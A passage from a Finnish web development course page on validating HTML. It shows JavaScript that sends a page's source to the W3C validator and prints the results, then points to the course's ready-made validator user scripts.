    const vastaus = await fetch("https://validator.w3.org/nu/?out=json", {
      method: "POST",
      headers: { "Content-Type": "text/html; charset=utf-8" },
      body: lahde
    });
    const tulos = await vastaus.json();

    if (tulos.messages.length === 0) {
      console.log("%cValidointi OK", "color: green");
      return;
    }
    console.table(tulos.messages.map(m => ({
      tyyppi: m.type,
      rivi: m.lastLine,
      viesti: m.message
    })));
  }
  catch (virhe) {
    console.error("Validointi ei onnistunut:", virhe.message);
  }
}

Älä kutsu tätä silmukassa tai jokaisen näppäinpainalluksen jälkeen. Kyseessä on W3C:n ilmainen julkinen palvelu.

Tapa 3: kurssin valmiit skriptit

Kurssilla on valmiina kaksi apuskriptiä: validator.user.js ja htmlinspector.user.js. Ne voi liittää suoraan omaan sivuunsa tai asentaa selaimeen käyttäjäskripteinä. Katso tarkemmat ohjeet työkalusivulta.

<script src="https://appro.mit.jyu.fi/tools/validator/validator.user.js"
        defer="defer"></script>
Validate();

Lisätietoa

Käyttäjien kommentit

Kommentoi Lisää kommentti